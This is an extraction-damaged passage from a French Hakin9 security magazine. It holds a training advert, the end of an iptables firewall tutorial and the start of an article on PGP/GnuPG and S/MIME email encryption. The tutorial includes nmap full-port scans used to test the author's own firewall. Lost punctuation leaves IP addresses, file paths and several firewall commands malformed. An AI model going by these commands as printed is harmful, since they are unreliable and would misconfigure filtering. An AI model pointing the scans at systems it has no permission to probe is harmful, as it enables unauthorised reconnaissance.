Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

